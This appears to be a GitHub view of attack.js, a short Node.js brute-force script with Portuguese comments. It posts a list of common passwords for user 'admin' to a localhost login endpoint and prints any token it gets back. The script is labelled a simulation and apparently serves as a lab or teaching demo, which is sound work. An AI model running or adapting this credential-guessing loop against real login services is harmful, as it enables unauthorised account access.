-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathattack.js
More file actions
45 lines (36 loc) · 955 Bytes
/
Copy pathattack.js
File metadata and controls
45 lines (36 loc) · 955 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
console.log("🚀 Script iniciado")
const axios = require('axios')
const URL = 'http://localhost:3000/login'
const USER = 'admin'
// lista de senhas erradas (simulação)
const passwords = [
'123456',
'senha123',
'admin',
'qwerty',
'000000',
'password',
'abc123',
'letmein',
'senhaerrada'
]
async function attack() {
console.log(' Iniciando ataque de brute force...\n')
for (let i = 0; i < passwords.length; i++) {
try {
const response = await axios.post(URL, {
username: USER,
password: passwords[i]
})
console.log(`✅ SUCESSO! Senha encontrada: ${passwords[i]}`)
console.log('Token:', response.data.token)
break
} catch (err) {
console.log(`❌ Tentativa ${i + 1} falhou: ${passwords[i]}`)
}
// pequeno delay (simula comportamento mais real)
await new Promise(resolve => setTimeout(resolve, 500))
}
console.log('\n Ataque finalizado')
}
attack()